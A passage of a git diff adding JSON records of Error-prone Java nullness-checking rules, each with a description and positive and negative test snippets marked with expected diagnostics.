};\n private Function function1 = p -> null;\n private Function function2 = (p -> null);\n private Function function3 =\n (String p) -> {\n return null;\n };\n }" + }, + { + "description": "negativeCases_nonNullMethod", + "expected-problems": null, + "expected-linenumbers": [ + 422 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class NonNullMethodTest {\n private String message = \"hello\";\n\n public void setMessage(int x) {\n message = String.valueOf(x);\n }\n }" + }, + { + "description": "negativeCases_nonNullField", + "expected-problems": null, + "expected-linenumbers": [ + 441 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class NonNullFieldTest {\n private String message = \"hello\";\n private String previous = \"\";\n\n public void save() {\n previous = message;\n }\n }" + }, + { + "description": "negativeCases_nonNullParameter", + "expected-problems": null, + "expected-linenumbers": [ + 461 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class NonNullParameterTest {\n private String message = \"hello\";\n\n public void setMessage(String message) {\n this.message = message;\n }\n }" + }, + { + "description": "negativeCases_this", + "expected-problems": null, + "expected-linenumbers": [ + 480 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class ThisTest {\n private static ThisTest theInstance = new ThisTest();\n\n public void makeDefault() {\n this.theInstance = this;\n }\n }" + }, + { + "description": "negativeCases_primitiveFieldType", + "expected-problems": null, + "expected-linenumbers": [ + 503 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class PrimitiveReturnTest {\n private int count = (Integer) null;\n }" + }, + { + "description": "negativeCases_initializeWithLambda", + "expected-problems": null, + "expected-linenumbers": [ + 518 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import javax.annotation.Nullable;\n\n public class NullableParameterTest {\n private String message = \"hello\";\n\n public void setMessageIfPresent(java.util.Optional message) {\n message.ifPresent(\n s -> {\n this.message = s;\n });\n }\n }" + }, + { + "description": "i708", + "expected-problems": null, + "expected-linenumbers": [ + 543 + ], + "code": "import java.util.regex.Pattern;\n\n class T {\n private static final Pattern FULLY_QUALIFIED_METHOD_NAME_PATTERN =\n Pattern.compile(\"(.+)#([^()]+?)(\\\\\\\\((.*)\\\\\\\\))?\");\n }" + }, + { + "description": "suggestNonJsr305Nullable", + "expected-problems": null, + "expected-linenumbers": [ + 559 + ], + "code": "class T {\n @Nullable private final Object obj1 = null;\n private final Object obj2 = null;\n\n @interface Nullable {}\n }\n \n\n class T {\n @Nullable private final Object obj1 = null;\n @Nullable private final Object obj2 = null;\n\n @interface Nullable {}\n }" + }, + { + "description": "annotationInsertedAfterModifiers", + "expected-problems": null, + "expected-linenumbers": [ + 585 + ], + "code": "import org.checkerframework.checker.nullness.qual.Nullable;\n\n class T {\n private final Object obj1 = null;\n }\n \n\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n class T {\n private final @Nullable Object obj1 = null;\n }" + }, + { + "description": "nonAnnotationNullable", + "expected-problems": null, + "expected-linenumbers": [ + 609 + ], + "code": "class T {\n private final Object obj2 = null;\n\n class Nullable {}\n }\n \n\n class T {\n private final @org.jspecify.annotations.Nullable Object obj2 = null;\n\n class Nullable {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/MultipleNullnessAnnotations.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/MultipleNullnessAnnotations.json new file mode 100644 index 0000000..7e83a5c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/MultipleNullnessAnnotations.json @@ -0,0 +1,62 @@ +{ + "name": "MultipleNullnessAnnotations", + "language": "java", + "description": "This type use has conflicting nullness annotations", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 82, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import org.checkerframework.checker.nullness.compatqual.NonNullDecl;\n import org.checkerframework.checker.nullness.compatqual.NullableDecl;\n import org.checkerframework.checker.nullness.qual.NonNull;\n import org.checkerframework.checker.nullness.qual.Nullable;\n import java.util.List;\n\n abstract class Test {\n // BUG: Diagnostic contains:\n @Nullable @NonNull Object x;\n // BUG: Diagnostic contains:\n @NullableDecl static @NonNull Object y;\n // BUG: Diagnostic contains:\n List<@Nullable @NonNull String> z;\n\n @NullableDecl\n // BUG: Diagnostic contains:\n abstract @NonNull Object f();\n\n // BUG: Diagnostic contains:\n abstract void f(@NullableDecl Object @NonNull [] x);\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 60 + ], + "code": "import org.checkerframework.checker.nullness.compatqual.NonNullDecl;\n import org.checkerframework.checker.nullness.compatqual.NullableDecl;\n import org.checkerframework.checker.nullness.qual.NonNull;\n import org.checkerframework.checker.nullness.qual.Nullable;\n import java.util.List;\n\n abstract class Test {\n @NonNullDecl @NonNull Object x;\n @NullableDecl static @Nullable Object y;\n }" + }, + { + "description": "disambiguation", + "expected-problems": null, + "expected-linenumbers": [ + 80 + ], + "code": "import org.checkerframework.checker.nullness.qual.Nullable;\n import java.util.List;\n\n abstract class Test {\n @Nullable Object @Nullable [] x;\n\n abstract void f(@Nullable Object @Nullable ... x);\n }" + }, + { + "description": "declarationAndType", + "expected-problems": null, + "expected-linenumbers": [ + 98 + ], + "code": "import java.lang.annotation.Target;\n import java.lang.annotation.ElementType;\n\n @Target({\n ElementType.METHOD,\n ElementType.FIELD,\n ElementType.PARAMETER,\n ElementType.LOCAL_VARIABLE,\n ElementType.TYPE_USE\n })\n public @interface Nullable {}\n \n\n abstract class Test {\n abstract void f(@Nullable Object x);\n\n abstract @Nullable Object g();\n\n @Nullable Object f;\n }" + }, + { + "description": "typeParameter", + "expected-problems": null, + "expected-linenumbers": [ + 130 + ], + "code": "import org.checkerframework.checker.nullness.compatqual.NullableDecl;\n import org.checkerframework.checker.nullness.qual.NonNull;\n\n class T {\n // BUG: Diagnostic contains:\n @NullableDecl @NonNull X f;\n\n @NullableDecl\n // BUG: Diagnostic contains:\n @NonNull X g() {\n return null;\n }\n }" + }, + { + "description": "arrayTypeAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 153 + ], + "code": "import javax.annotation.CheckForNull;\n import org.checkerframework.checker.nullness.qual.NonNull;\n\n class T {\n // BUG: Diagnostic contains:\n @CheckForNull Object @NonNull [] f;\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/NullArgumentForNonNullParameter.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/NullArgumentForNonNullParameter.json new file mode 100644 index 0000000..44d9b78 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/NullArgumentForNonNullParameter.json @@ -0,0 +1,134 @@ +{ + "name": "NullArgumentForNonNullParameter", + "language": "java", + "description": "Null is not permitted for this parameter.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 271, + "branches": 29, + "apis": 15, + "test": [ + { + "description": "positivePrimitive", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "import java.util.Optional;\n\n class Foo {\n void consume(int i) {}\n\n void foo(Optional o) {\n // BUG: Diagnostic contains:\n consume(o.orElse(null));\n }\n }" + }, + { + "description": "positiveAnnotatedNonnullAggressive", + "expected-problems": null, + "expected-linenumbers": [ + 53 + ], + "code": "import javax.annotation.Nonnull;\n\n class Foo {\n void consume(@Nonnull String s) {}\n\n void foo() {\n // BUG: Diagnostic contains:\n consume(null);\n }\n }" + }, + { + "description": "negativeAnnotatedNonnullConservative", + "expected-problems": null, + "expected-linenumbers": [ + 73 + ], + "code": "import javax.annotation.Nonnull;\n\n class Foo {\n void consume(@Nonnull String s) {}\n\n void foo() {\n consume(null);\n }\n }" + }, + { + "description": "positiveJavaOptionalOf", + "expected-problems": null, + "expected-linenumbers": [ + 92 + ], + "code": "import java.util.Optional;\n\n class Foo {\n void foo() {\n // BUG: Diagnostic contains:\n Optional.of(null);\n }\n }" + }, + { + "description": "positiveGuavaOptionalOf", + "expected-problems": null, + "expected-linenumbers": [ + 110 + ], + "code": "import com.google.common.base.Optional;\n\n class Foo {\n void foo() {\n // BUG: Diagnostic contains:\n Optional.of(null);\n }\n }" + }, + { + "description": "positiveGuavaImmutableSetOf", + "expected-problems": null, + "expected-linenumbers": [ + 128 + ], + "code": "import com.google.common.collect.ImmutableSet;\n\n class Foo {\n void foo() {\n // BUG: Diagnostic contains:\n ImmutableSet.of(null);\n }\n }" + }, + { + "description": "positiveGuavaImmutableSetBuilderAdd", + "expected-problems": null, + "expected-linenumbers": [ + 146 + ], + "code": "" + }, + { + "description": "positiveArgumentCaptorForClass", + "expected-problems": null, + "expected-linenumbers": [ + 163 + ], + "code": "import org.mockito.ArgumentCaptor;\n\n class Foo {\n void foo() {\n // BUG: Diagnostic contains:\n ArgumentCaptor.forClass(null);\n }\n }" + }, + { + "description": "negativeNullMarkedComGoogleCommonButNullable", + "expected-problems": null, + "expected-linenumbers": [ + 181 + ], + "code": "import com.google.common.collect.ImmutableSet;\n\n class Foo {\n void foo() {\n ImmutableSet.of().contains(null);\n }\n }" + }, + { + "description": "positiveNullMarkedOtherPackageAggressive", + "expected-problems": null, + "expected-linenumbers": [ + 198 + ], + "code": "import org.jspecify.annotations.NullMarked;\n\n @NullMarked\n class Foo {\n void consume(String s) {}\n\n void foo() {\n // BUG: Diagnostic contains:\n consume(null);\n }\n }" + }, + { + "description": "positiveNullMarkedPackageInfo", + "expected-problems": null, + "expected-linenumbers": [ + 219 + ], + "code": "@org.jspecify.annotations.NullMarked\n package p;\n \n\n package p;\n\n class Foo {\n void consume(String s) {}\n\n void foo() {\n // BUG: Diagnostic contains:\n consume(null);\n }\n }" + }, + { + "description": "negativeNullMarkedPackageInfoCountermanded", + "expected-problems": null, + "expected-linenumbers": [ + 245 + ], + "code": "@org.jspecify.annotations.NullMarked\n package p;\n \n\n package p;\n\n import org.jspecify.annotations.NullUnmarked;\n\n @NullUnmarked\n class Foo {\n void consume(String s) {}\n\n void foo() {\n consume(null);\n }\n }" + }, + { + "description": "negativeNullMarkedNonComGoogleCommonPackageConservative", + "expected-problems": null, + "expected-linenumbers": [ + 273 + ], + "code": "import org.jspecify.annotations.NullMarked;\n\n @NullMarked\n class Foo {\n void consume(String s) {}\n\n void foo() {\n consume(null);\n }\n }" + }, + { + "description": "negativeNullMarkedTypeVariable", + "expected-problems": null, + "expected-linenumbers": [ + 293 + ], + "code": "import com.google.common.collect.ConcurrentHashMultiset;\n\n class Foo {\n void foo() {\n ConcurrentHashMultiset.create().add(null);\n }\n }" + }, + { + "description": "negativePrimitiveButEnclosingClass", + "expected-problems": null, + "expected-linenumbers": [ + 310 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/NullablePrimitive.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/NullablePrimitive.json new file mode 100644 index 0000000..489569d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/NullablePrimitive.json @@ -0,0 +1,70 @@ +{ + "name": "NullablePrimitive", + "language": "java", + "description": "Nullness annotations should not be used for primitive types since they cannot be null", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 78, + "branches": 5, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import org.jspecify.annotations.Nullable;\n\n /**\n * @author sebastian.h.monte@gmail.com (Sebastian Monte)\n */\n public class NullablePrimitivePositiveCases {\n\n // BUG: Diagnostic contains: private int a\n private @Nullable int a;\n\n // BUG: Diagnostic contains: ( int a)\n public void method(@Nullable int a) {}\n\n // BUG: Diagnostic contains: remove\n @Nullable\n public int method() {\n return 0;\n }\n }" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 63 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import org.jspecify.annotations.Nullable;\n\n /**\n * @author sebastian.h.monte@gmail.com (Sebastian Monte)\n */\n public class NullablePrimitiveNegativeCases {\n @Nullable Integer a;\n\n public void method(@Nullable Integer a) {}\n\n @Nullable\n public Integer method() {\n return Integer.valueOf(0);\n }\n }\\" + }, + { + "description": "negativeConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 90 + ], + "code": "import javax.annotation.Nullable;\n\n class Test {\n @Nullable\n public Test() {}\n }" + }, + { + "description": "negativeVoid", + "expected-problems": null, + "expected-linenumbers": [ + 106 + ], + "code": "import javax.annotation.Nullable;\n\n class Test {\n @Nullable\n void f() {}\n }" + }, + { + "description": "positiveArray", + "expected-problems": null, + "expected-linenumbers": [ + 122 + ], + "code": "import java.util.List;\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n class Test {\n // BUG: Diagnostic contains:\n List<@Nullable int[]> xs;\n }" + }, + { + "description": "typeParameter", + "expected-problems": null, + "expected-linenumbers": [ + 140 + ], + "code": "import java.lang.annotation.ElementType;\n import java.lang.annotation.Retention;\n import java.lang.annotation.RetentionPolicy;\n import java.lang.annotation.Target;\n\n @Retention(RetentionPolicy.RUNTIME)\n @Target(ElementType.TYPE_USE)\n public @interface Nullable {}\n \n\n class Test {\n // BUG: Diagnostic contains:\n @Nullable int x;\n\n // BUG: Diagnostic contains:\n @Nullable\n int f() {\n return 42;\n }\n\n <@Nullable T> int g() {\n return 42;\n }\n\n int @Nullable [] y;\n }" + }, + { + "description": "positiveNonNull", + "expected-problems": null, + "expected-linenumbers": [ + 178 + ], + "code": "import java.util.List;\n import org.checkerframework.checker.nullness.qual.NonNull;\n\n class Test {\n // BUG: Diagnostic contains:\n @NonNull int xs;\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/NullablePrimitiveArray.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/NullablePrimitiveArray.json new file mode 100644 index 0000000..0f1a6cb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/NullablePrimitiveArray.json @@ -0,0 +1,62 @@ +{ + "name": "NullablePrimitiveArray", + "language": "java", + "description": "@Nullable type annotations should not be used for primitive types since they cannot be null", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 146, + "branches": 16, + "apis": 1, + "test": [ + { + "description": "typeAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import org.checkerframework.checker.nullness.qual.Nullable;\n import org.checkerframework.checker.nullness.qual.NonNull;\n\n abstract class Test {\n @Nullable\n abstract byte[] f();\n\n abstract @Nullable byte[] g();\n\n abstract void h(@Nullable byte[] x);\n\n abstract void i(@Nullable byte @Nullable [] x);\n\n abstract void j(@Nullable byte... x);\n\n abstract void k(@Nullable byte[][][] x);\n\n abstract void l(@NonNull byte[] x);\n }\n \n\n import org.checkerframework.checker.nullness.qual.Nullable;\n import org.checkerframework.checker.nullness.qual.NonNull;\n\n abstract class Test {\n abstract byte @Nullable [] f();\n\n abstract byte @Nullable [] g();\n\n abstract void h(byte @Nullable [] x);\n\n abstract void i(byte @Nullable [] x);\n\n abstract void j(byte @Nullable ... x);\n\n abstract void k(byte @Nullable [][][] x);\n\n abstract void l(byte @NonNull [] x);\n }" + }, + { + "description": "typeAnnotationWithOtherAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 82 + ], + "code": "import org.checkerframework.checker.nullness.qual.Nullable;\n\n abstract class Test {\n @SuppressWarnings(\"SomeOtherChecker\") // unrelated annotation\n @Nullable\n abstract byte[] f();\n }\n \n\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n abstract class Test {\n @SuppressWarnings(\"SomeOtherChecker\") // unrelated annotation\n abstract byte @Nullable [] f();\n }" + }, + { + "description": "typeAnnotationWithOtherNullnessAnnotationDoesNotSuggestDoubleAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 109 + ], + "code": "import javax.annotation.CheckForNull;\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n abstract class Test {\n @CheckForNull\n @Nullable\n abstract byte[] f();\n }\n \n\n import javax.annotation.CheckForNull;\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n abstract class Test {\n @CheckForNull\n abstract byte[] f();\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 138 + ], + "code": "import javax.annotation.Nullable;\n\n abstract class Test {\n @Nullable\n abstract Object[] f();\n\n abstract @Nullable Object[] g();\n\n abstract void h(@Nullable Object[] x);\n }" + }, + { + "description": "alreadyAnnotatedForNullness", + "expected-problems": null, + "expected-linenumbers": [ + 159 + ], + "code": "import org.checkerframework.checker.nullness.qual.Nullable;\n import org.checkerframework.checker.nullness.qual.NonNull;\n\n abstract class Test {\n abstract void f(@Nullable int @NonNull [] x);\n }\n \n\n import org.checkerframework.checker.nullness.qual.Nullable;\n import org.checkerframework.checker.nullness.qual.NonNull;\n\n abstract class Test {\n abstract void f(int @NonNull [] x);\n }" + }, + { + "description": "declarationAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 185 + ], + "code": "import javax.annotation.Nullable;\n\n abstract class Test {\n @Nullable\n abstract byte[] f();\n\n abstract @Nullable byte[] g();\n\n abstract void h(@Nullable byte[] x);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/NullableTypeParameter.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/NullableTypeParameter.json new file mode 100644 index 0000000..838290d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/NullableTypeParameter.json @@ -0,0 +1,38 @@ +{ + "name": "NullableTypeParameter", + "language": "java", + "description": "Nullness annotations directly on type parameters are interpreted differently by different tools", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 78, + "branches": 7, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import java.util.List;\n import org.checkerframework.checker.nullness.qual.NonNull;\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n class T {\n interface I {}\n\n interface J {}\n\n <@Nullable X, @NonNull Y> void f() {}\n\n <@Nullable X extends Object> void h() {}\n\n <@Nullable X extends I & J> void i() {}\n }\n \n\n import java.util.List;\n import org.checkerframework.checker.nullness.qual.NonNull;\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n class T {\n interface I {}\n\n interface J {}\n\n void f() {}\n\n void h() {}\n\n void i() {}\n }" + }, + { + "description": "noFix", + "expected-problems": null, + "expected-linenumbers": [ + 75 + ], + "code": "import java.util.List;\n import org.checkerframework.checker.nullness.qual.NonNull;\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n class T {\n interface I {}\n\n interface J {}\n\n <@Nullable @NonNull X> void f() {}\n\n <@Nullable X extends @Nullable Object> void g() {}\n\n <@Nullable X extends I & @Nullable J> void h() {}\n }" + }, + { + "description": "diagnostics", + "expected-problems": null, + "expected-linenumbers": [ + 101 + ], + "code": "import java.util.List;\n import org.checkerframework.checker.nullness.qual.NonNull;\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n class T {\n interface I {}\n\n interface J {}\n\n // BUG: Diagnostic contains:\n <@Nullable @NonNull X> void f() {}\n\n // BUG: Diagnostic contains:\n <@Nullable X extends @Nullable Object> void g() {}\n\n // BUG: Diagnostic contains:\n <@Nullable X extends I & @Nullable J> void h() {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/NullableWildcard.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/NullableWildcard.json new file mode 100644 index 0000000..46818fb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/NullableWildcard.json @@ -0,0 +1,38 @@ +{ + "name": "NullableWildcard", + "language": "java", + "description": "Nullness annotations directly on wildcard types are interpreted differently by different tools", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 86, + "branches": 10, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import java.util.List;\n import org.checkerframework.checker.nullness.qual.NonNull;\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n class T {\n List<@Nullable ?> xs;\n List<@NonNull ?> ys;\n }\n \n\n import java.util.List;\n import org.checkerframework.checker.nullness.qual.NonNull;\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n class T {\n List xs;\n List ys;\n }" + }, + { + "description": "noFix", + "expected-problems": null, + "expected-linenumbers": [ + 61 + ], + "code": "import java.util.List;\n import org.checkerframework.checker.nullness.qual.NonNull;\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n class T {\n List<@Nullable ? extends @Nullable Object> x;\n List<@Nullable ? super Object> y;\n List<@Nullable @NonNull ?> z;\n }" + }, + { + "description": "diagnostics", + "expected-problems": null, + "expected-linenumbers": [ + 81 + ], + "code": "import java.util.List;\n import org.checkerframework.checker.nullness.qual.NonNull;\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n class T {\n // BUG: Diagnostic contains:\n List<@Nullable ? extends @Nullable Object> x;\n // BUG: Diagnostic contains:\n List<@Nullable ? super Object> y;\n // BUG: Diagnostic contains:\n List<@Nullable @NonNull ?> z;\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/ParameterMissingNullable.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/ParameterMissingNullable.json new file mode 100644 index 0000000..0d3e037 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/ParameterMissingNullable.json @@ -0,0 +1,238 @@ +{ + "name": "ParameterMissingNullable", + "language": "java", + "description": "Parameter has handling for null but is not annotated @Nullable", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 301, + "branches": 55, + "apis": 14, + "test": [ + { + "description": "positiveIf", + "expected-problems": null, + "expected-linenumbers": [ + 39 + ], + "code": "class Foo {\n void foo(Integer i) {\n // BUG: Diagnostic contains: @Nullable\n if (i == null) {\n i = 0;\n }\n }\n }" + }, + { + "description": "positiveIfWithUnrelatedThrow", + "expected-problems": null, + "expected-linenumbers": [ + 57 + ], + "code": "class Foo {\n void foo(boolean b, Integer i) {\n if (b) {\n // BUG: Diagnostic contains: @Nullable\n int val = i == null ? 0 : i;\n if (val < 0) {\n throw new RuntimeException();\n }\n }\n }\n }" + }, + { + "description": "positiveDespiteWhileLoop", + "expected-problems": null, + "expected-linenumbers": [ + 78 + ], + "code": "import static com.google.common.base.Preconditions.checkArgument;\n\n class Foo {\n void foo(Object o) {\n while (true) checkArgument(o != null);\n }\n }" + }, + { + "description": "positiveTernary", + "expected-problems": null, + "expected-linenumbers": [ + 97 + ], + "code": "class Foo {\n int i;\n\n void foo(Integer i) {\n // BUG: Diagnostic contains: @Nullable\n this.i = i == null ? 0 : i;\n }\n }" + }, + { + "description": "positiveCallToMethod", + "expected-problems": null, + "expected-linenumbers": [ + 115 + ], + "code": "class Foo {\n void foo(Integer i) {}\n\n void bar() {\n // BUG: Diagnostic contains: @Nullable\n foo(null);\n }\n }" + }, + { + "description": "positiveCallToTopLevelConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 133 + ], + "code": "class Foo {\n Foo(Integer i) {}\n\n void bar() {\n // BUG: Diagnostic contains: @Nullable\n new Foo(null);\n }\n }" + }, + { + "description": "positiveCallToNestedConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 151 + ], + "code": "class Foo {\n static class Nested {\n Nested(Integer i) {}\n }\n\n void bar() {\n // BUG: Diagnostic contains: @Nullable\n new Foo.Nested(null);\n }\n }" + }, + { + "description": "negativeCallToNestedConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 171 + ], + "code": "" + }, + { + "description": "declarationAnnotatedLocation", + "expected-problems": null, + "expected-linenumbers": [ + 188 + ], + "code": "import javax.annotation.Nullable;\n\n class Foo {\n void foo(java.lang.Integer i) {\n if (i == null) {\n i = 0;\n }\n }\n }\n \n\n import javax.annotation.Nullable;\n\n class Foo {\n void foo(@Nullable java.lang.Integer i) {\n if (i == null) {\n i = 0;\n }\n }\n }" + }, + { + "description": "typeAnnotatedLocation", + "expected-problems": null, + "expected-linenumbers": [ + 220 + ], + "code": "import org.checkerframework.checker.nullness.qual.Nullable;\n\n class Foo {\n void foo(java.lang.Integer i) {\n if (i == null) {\n i = 0;\n }\n }\n }\n \n\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n class Foo {\n void foo(java.lang.@Nullable Integer i) {\n if (i == null) {\n i = 0;\n }\n }\n }" + }, + { + "description": "negativeAlreadyAnnotated", + "expected-problems": null, + "expected-linenumbers": [ + 252 + ], + "code": "import javax.annotation.Nullable;\n\n class Foo {\n void foo(@Nullable Integer i) {\n if (i == null) {\n i = 0;\n }\n }\n }" + }, + { + "description": "negativeCasesAlreadyTypeAnnotatedInnerClass", + "expected-problems": null, + "expected-linenumbers": [ + 271 + ], + "code": "import org.checkerframework.checker.nullness.qual.Nullable;\n\n public class Foo {\n class Inner {}\n\n @Nullable Inner message;\n\n void foo(@Nullable Inner i) {\n if (i == null) {\n return;\n }\n }\n }" + }, + { + "description": "negativePreconditionCheckMethod", + "expected-problems": null, + "expected-linenumbers": [ + 294 + ], + "code": "import static com.google.common.base.Preconditions.checkArgument;\n\n class Foo {\n void foo(Integer i) {\n checkArgument(i != null);\n }\n }" + }, + { + "description": "negativeOtherCheckMethod", + "expected-problems": null, + "expected-linenumbers": [ + 311 + ], + "code": "class Foo {\n void assertNot(boolean b) {}\n\n void foo(Integer i) {\n assertNot(i == null);\n }\n }" + }, + { + "description": "negativeAssert", + "expected-problems": null, + "expected-linenumbers": [ + 328 + ], + "code": "class Foo {\n void foo(Integer i) {\n assert (i != null);\n }\n }" + }, + { + "description": "negativeCheckNotAgainstNull", + "expected-problems": null, + "expected-linenumbers": [ + 343 + ], + "code": "class Foo {\n void foo(Integer i) {\n if (i == 7) {\n i = 0;\n }\n }\n }" + }, + { + "description": "negativeCheckOfNonParameter", + "expected-problems": null, + "expected-linenumbers": [ + 360 + ], + "code": "class Foo {\n void foo(Integer i) {\n Integer j = 7;\n if (j == null) {\n i = 0;\n }\n }\n }" + }, + { + "description": "negativeThrow", + "expected-problems": null, + "expected-linenumbers": [ + 378 + ], + "code": "class Foo {\n void foo(Integer i) {\n if (i == null) {\n throw something();\n }\n }\n\n RuntimeException something() {\n return new RuntimeException();\n }\n }" + }, + { + "description": "negativeCreateException", + "expected-problems": null, + "expected-linenumbers": [ + 399 + ], + "code": "class Foo {\n void foo(Integer i) {\n if (i == null) {\n throwIt(new RuntimeException());\n }\n }\n\n void throwIt(RuntimeException x) {\n throw x;\n }\n }" + }, + { + "description": "negativeLambdaParameter", + "expected-problems": null, + "expected-linenumbers": [ + 420 + ], + "code": "interface Foo {\n Foo FOO = o -> o == null ? 0 : o;\n\n int toInt(Integer o);\n }" + }, + { + "description": "negativeDoWhileLoop", + "expected-problems": null, + "expected-linenumbers": [ + 435 + ], + "code": "class Foo {\n Foo next;\n\n void foo(Foo foo) {\n do {\n foo = foo.next;\n } while (foo != null);\n }\n }" + }, + { + "description": "negativeWhileLoop", + "expected-problems": null, + "expected-linenumbers": [ + 454 + ], + "code": "class Foo {\n Foo next;\n\n void foo(Foo foo) {\n while (foo != null) {\n foo = foo.next;\n }\n }\n }" + }, + { + "description": "negativeForLoop", + "expected-problems": null, + "expected-linenumbers": [ + 478 + ], + "code": "class Foo {\n Foo next;\n\n void foo(Foo foo) {\n for (; foo != null; foo = foo.next) {}\n }\n }" + }, + { + "description": "negativeCallArgNotNull", + "expected-problems": null, + "expected-linenumbers": [ + 496 + ], + "code": "class Foo {\n void foo(Integer i) {}\n\n void bar() {\n foo(1);\n }\n }" + }, + { + "description": "negativeCallAlreadyAnnotated", + "expected-problems": null, + "expected-linenumbers": [ + 513 + ], + "code": "import javax.annotation.Nullable;\n\n class Foo {\n void foo(@Nullable Integer i) {}\n\n void bar() {\n foo(null);\n }\n }" + }, + { + "description": "negativeCallTypeVariable", + "expected-problems": null, + "expected-linenumbers": [ + 532 + ], + "code": "class Foo {\n void foo(T t) {}\n\n void bar() {\n foo(null);\n }\n }" + }, + { + "description": "negativeCallOtherCompilationUnit", + "expected-problems": null, + "expected-linenumbers": [ + 549 + ], + "code": "class Foo {\n void foo(Integer i) {}\n }\n \n\n class Bar {\n void bar(Foo foo) {\n foo.foo(null);\n }\n }" + }, + { + "description": "negativeCallVarargs", + "expected-problems": null, + "expected-linenumbers": [ + 571 + ], + "code": "class Foo {\n void foo(Integer... i) {}\n\n void bar() {\n foo(null, 1);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/ReturnMissingNullable.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/ReturnMissingNullable.json new file mode 100644 index 0000000..f71417e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/ReturnMissingNullable.json @@ -0,0 +1,894 @@ +{ + "name": "ReturnMissingNullable", + "language": "java", + "description": "Method returns a definitely null value but is not annotated @Nullable", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 394, + "branches": 44, + "apis": 9, + "test": [ + { + "description": "literalNullReturn", + 